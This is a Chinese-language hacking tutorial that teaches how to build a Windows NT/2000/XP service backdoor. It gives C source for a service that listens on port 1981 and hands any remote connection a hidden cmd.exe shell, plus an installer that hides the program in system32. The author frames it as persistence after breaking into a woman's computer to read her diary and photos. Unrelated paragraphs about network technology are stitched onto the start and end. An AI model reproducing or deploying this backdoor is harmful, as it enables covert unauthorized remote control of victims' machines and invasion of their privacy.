網絡技術是從1990年代中期發展起來的新技術,它把互聯網上分散的資源融為有機整體,實現資源的全面共享和有機協作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機、存儲資源、數據資源、信息資源、知識資源、專家資源、大型數據庫、網絡、傳感器等。 當前的互聯網只限于信息共享,網絡則被認為是互聯網發展的第三階段。 以往大多數的木馬/后門都是通過修改系統ini文件(比如Win.ini,System.ini)或修改注冊表的RUN值來實現自啟動的,還有更簡單的是修改Autobat.exe(老大,地球不適合你,你還是回火星吧),但隨著網絡用戶安全意識的提高,連我家旁邊賣茶葉蛋的大媽都知道如何對付這些老方法了。為了適應新時代木馬后門技術的發展要求,一種利用Windows NT/2000/XP系統服務的后門產生了,現在的WinShell,WinEggDrop等眾人皆知的Telnte擴展后門都利用了這種方式。相信很多小菜們對這種后門技術并不了解,所以,我在這里就充個大頭,給大家傳授教業解解惑吧(受害MM目光呆滯,一臉絕望:有了你們這幫人,天下什么時候才能“無賊”啊?)。前置原理 Windows NT/2000/XP提供的服務既可以指一種特定的Win32進程,也可以指內核模式的設備驅動程序。操作系統的一個稱為“服務控制管理器SCM”的組件被用來裝載和控制這兩種類型的服務。當然,我們說的服務,是指的前者,即我們可以利用的服務是一個在Windows NT/2000/XP下執行的程序。當我們打開“控制面板管理工具服務”,就可以看到右邊有一堆的服務,如圖1所示。每一行指定了一個特定服務的屬性,包括名稱、描述、狀態、啟動類型、登錄方式等。
圖1 “服務”本身是Windows NT/2000/XP下客戶/服務器軟件的合理選擇,因為它提供了像Unix下后臺程序Daemons(守護進程)的等價物,而且使得創建能夠代表權限低的用戶進行權限高的操作的程序成為可能。像我們熟知的RPC服務,病毒掃描程序以及備份程序都是很適合作為服務進程。 服務能被我們利用作為后門實現自啟動,是因為它有三個很重要的特性: 1. 服務可以被指定為自啟動,在利用傳統的注冊表修改RUN鍵值,添加ini自啟動項等方法的基礎上又多了一種選擇。 2. 服務可以在任何用戶登錄前開始運行,我們可以在服務啟動時加入殺防火墻的代碼。 3. 服務是運行在后臺的,如果不注意,天知道什么時候被人家裝了后門。 服務大都是由服務控制程序在注冊表中維護的一個信息數據庫來管理的,每個服務在HKEY_LOCAL_MACHINESystemCurrentControlSetServices中都可以找到相應的一個關鍵項。服務區別于一般Windows NT/2000/XP程序的主要之處在于服務與服務控制管理程序的合作,在后面的編程中我們將會體會到這一點。 編程實現 一個完整的服務分為安裝服務程序,主體服務程序和卸載服務程序。我們先來寫服務的主體部分,示例代碼如下: void main() { SERVICE_TABLE_ENTRY ServiceTable[] = { {"scuhkr", BDServiceMain}, {NULL, NULL} //"哨兵" }; //連接到服務控制管理器 StartServiceCtrlDispatcher(ServiceTable); } 路人甲:什么,就這么短?你想侮辱廣大鳥兒的智慧?呵呵,先別急,聽我慢慢道來:上面代碼中,我們先給出了一個SERVICE_TABLE_ENTRY結構數組,每個成員描述了調用進程提供的服務,這里我們只安裝了一個服務名為Scuhkr的服務,后面的BDServiceMain()我們稱之為服務主函數,通過回調該函數提供了服務入口地址,它原形的參數必須定義成如下形式: VOID WINAPI BDServiceMain( DWORD dwArgc, //lpszArgv參數個數 LPTSTR* lpszArgv //該數組第一個的參數指定了服務名,可以在后面被 StartService()來調用 ); SERVICE_TABLE_ENTRY結構數組要求最后一個成員組都為NULL,我們稱之為“哨兵”(所有值都為NULL),表示該服務表末尾。一個服務啟動后,馬上調用StartServiceCtrlDispatcher()通知服務控制程序服務正在執行,并提供服務函數的地址。StartServiceCtrlDispatcher()只需要一個至少有兩SERVICE_TABLE_ENTRY結構的數組,它為每個服務啟動一個線程,一直等到它們結束才返回。 本程序只提供了一個服務函數BDServiceMain(),下面我們來下完成這個函數的功能,示例代碼如下: void WINAPI BDServiceMain(DWORD dwArgc, LPTSTR *lpszArgv) { DWORD dwThreadId; //存放線程ID //通過RegisterServiceCtrlHandler()與服務控制程序建立一個通信的協議。 //BDHandler()是我們的服務控制程序,它被可以被用來開始,暫停,恢復,停止服務等控制操作 if (!(ServiceStatusHandle = RegisterServiceCtrlHandler("scuhkr", BDHandler))) return; //表示該服務私有 ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; //初始化服務,正在開始 ServiceStatus.dwCurrentState = SERVICE_START_PENDING; // //服務可以接受的請求,這里我們只接受停止服務請求和暫停恢復請求 ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; //下面幾個一般我們不大關心,全為0 ServiceStatus.dwServiceSpecificExitCode = 0; ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; //必須調用SetServiceStatus()來響應服務控制程序的每次請求通知 SetServiceStatus(ServiceStatusHandle, &ServiceStatus); [page_break]//開始運行服務 ServiceStatus.dwCurrentState = SERVICE_RUNNING; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; SetServiceStatus(ServiceStatusHandle, &ServiceStatus); //我們用一個事件對象來控制服務的同步 if (!(hEvent=CreateEvent(NULL, FALSE, FALSE, NULL))) return; ServiceStatus.dwCurrentState = SERVICE_START_PENDING; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; SetServiceStatus(ServiceStatusHandle, &ServiceStatus); //開線程來啟動我們的后門程序 if (!(hThread=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MainFn, (LPVOID)0, 0, &dwThreadId))) ServiceStatus.dwCurrentState = SERVICE_RUNNING; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; WaitForSingleObject(hEvent, INFINITE); CloseHandle(hThread); ExitThread(dwThreadId); CloseHandle(hEvent); return; } 上面我們調用了一個服務控制函數BDHandler(),由于只是簡單的介紹,我們這里只處理服務停止控制請求的情況,其它暫停、恢復等功能,讀者可以自己完善。下面是對BDHandler()的實現代碼: void WINAPI BDHandler(DWORD dwControl) { switch(dwControl) { case SERVICE_CONTROL_STOP: //等待后門程序的停止 ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; SetServiceStatus(ServiceStatusHandle, &ServiceStatus); //設時間為激發狀態,等待下一個事件的到來 SetEvent(hEvent); ServiceStatus.dwCurrentState = SERVICE_STOP; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; //停止 SetServiceStatus(ServiceStatusHandle, &ServiceStatus); break; default: break; } } 服務控制函數搞定了,下面就剩下主體的后門函數了。本程序借用了N多前輩翻寫過了無數次的后門程序,通過開一個端口監聽,允許任何與該端口連接的遠程主機建立信任連接,并提供一個交互式Shell。為了代碼清晰,我去掉了錯誤檢查,整個過程很簡單,也就不多解釋了,黑防上都有N期介紹了,代碼如下: DWORD WINAPI MainFn(LPVOID lpParam) { WSADATA WSAData; struct sockaddr_in RemoteAddr; DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0; PROCESS_INFORMATION processinfo; STARTUPINFO startinfo; WSAStartup(MAKEWORD(2,2),&WSAData); ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); RemoteAddr.sin_family = AF_INET; RemoteAddr.sin_port = htons(1981); //監聽端口 RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY; bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr)); listen(ServerSocket, 2); varA = 0; varB = 0; CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA); CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB); dowhile((varA || varB) == 0); GetStartupInfo(&startinfo); startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; startinfo.hStdInput = hReadPipe; startinfo.hStdError = hWritePipe; startinfo.hStdOutput = hWritePipe; startinfo.wShowWindow = SW_HIDE; //隱藏控制臺窗口 char szAPP[256]; GetSystemDirectory(szAPP,MAX_PATH+1); strcat(szAPP,"cmd.exe"); [page_break]//開cmd進程 if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &startinfo, &processinfo) == 0) { printf ("CreateProcess Error!n"); return -1; } while (true) { ClientSocket = accept(ServerSocket, NULL, NULL); Sleep(250); } return 0; } //線程函數A, 通過管道A來從控制端接受輸入,然后寫入被控制端輸入端 DWORD WINAPI ThreadFuncA( LPVOID lpParam ) { SECURITY_ATTRIBUTES pipeattr; DWORD nByteToWrite, nByteWritten; char recv_buff[1024]; pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES); pipeattr.lpSecurityDescriptor = NULL; pipeattr.bInheritHandle = TRUE; CreatePipe(&hReadPipe, &hWriteFile, &pipeattr, 0); varA = 1; while(true) { Sleep(250); nByteToWrite = recv(ClientSocket, recv_buff, 1024, 0); printf("%sn", recv_buff); WriteFile(hWriteFile, recv_buff, nByteToWrite, &nByteWritten, NULL); } return 0; } //線程函數B, 通過管道B來從被控制端接受輸入,然后寫到控制端輸出端 DWORD WINAPI ThreadFuncB( LPVOID lpParam ) { SECURITY_ATTRIBUTES pipeattr; DWORD len; char send_buff[25000]; pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES); pipeattr.lpSecurityDescriptor = NULL; pipeattr.bInheritHandle = TRUE; CreatePipe(&hReadFile, &hWritePipe, &pipeattr, 0); varB = 1; while (true) return 0; } 在我們成功入侵目標MM主機后,看了MM的照片,讀了MM的日記……此處省略惡行30條。在拍屁股走人之前,怎么也要留個后門,方便下次繼續看新的照片,繼續讀MM的小秘密(呵呵,大家不要誤會,我從來不干這種事D)。那后門怎么留?我們上面寫的都是主體部分,還沒安裝呢。安裝服務的部分其實很簡單,示例代碼如下: // InstallService.cpp void main() { SC_HANDLE hSCManager = NULL, //服務控制管理器句柄 hService = NULL; //服務句柄 char szSysPath[MAX_PATH]=, szExePath[MAX_PATH]=; //我們要把我們后臺執行的程序放在這里,一般就是在admin$system32里,隱蔽性高 if ((hSCManager = OpenSCManager(NULL, //NULL表明是本地主機 NULL, // 要打開的服務控制管理數據庫,默認為空 SC_MANAGER_CREATE_SERVICE//創建權限 ))==NULL) { pirntf("OpenSCManager failedn"); return; } GetSystemDirectory(szSysPath, MAX_PATH); //獲得系統目錄,也就是system32里面,隱蔽起來 strcpy(szExePath, szSysPath); strcat(szExePath, "scuhkr.exe"); //應用程序絕對路徑 [page_break]if ((hService=CreateService(hSCManager, //指向服務控制管理數據庫的句柄 "scuhkr", //服務名 "scuhkr backdoor service", //顯示用的服務名 SERVICE_ALL_ACCESS, //所有訪問權限 SERVICE_WIN32_OWN_PROCESS, //私有類型 SERVICE_DEMAND_START, //自啟動類型 SERVICE_ERROR_IGNORE, //忽略錯誤處理 szExePath, //應用程序路徑 NULL, NULL, NULL, NULL, NULL)) == NULL) { printf("%dn", GetLastError()); return; } //讓服務馬上運行。萬一是個服務器,10天半個月不重啟,豈不是沒搞頭? if(StartService(hService, 0, NULL) == FALSE) { printf("StartService failed: %dn", GetLastError()); return; } printf(“Install service successfullyn ”); CloseServiceHandle(hService); //關閉服務句柄 CloseServiceHandle(hSCManager); //關閉服務管理數據庫句柄 } Ok,一切都寫完了,我們在本機上測試一下,先把前面的服務主體程序Scuhkr.exe拷貝到系統目錄system32下(如果需要程序自動實現自拷貝的,可以通過CopyFile()來實現,具體怎么做偶就不講了,相信聰明的你三下五除二就能搞定,確實不行就去找WinShell的源代碼來看看吧),然后執行InstallServcie.exe。為了看我們是否安裝成功,有兩個辦法,一是通過控制面板->管理工具->服務,二是利用控制臺下系統自帶的Sc.exe工具,比如:“sc.exe qc rpcss”,如圖2所示。看到安裝服務的信息了?是不是很簡單呢!
圖2 至于以后不想再要這個MM的肉雞了,又不想留下把柄什么的,要刪除服務怎么辦?讀者就自己當做練習吧。還有一點要說的是,本人也是臨時抱佛腳,狂啃了幾天關于NT系統服務方面的編程,如果有什么不對,歡迎大家批評指正! 網絡的神奇作用吸引著越來越多的用戶加入其中,正因如此,網絡的承受能力也面臨著越來越嚴峻的考驗―從硬件上、軟件上、所用標準上......,各項技術都需要適時應勢,對應發展,這正是網絡迅速走向進步的催化劑。 |
溫馨提示:喜歡本站的話,請收藏一下本站!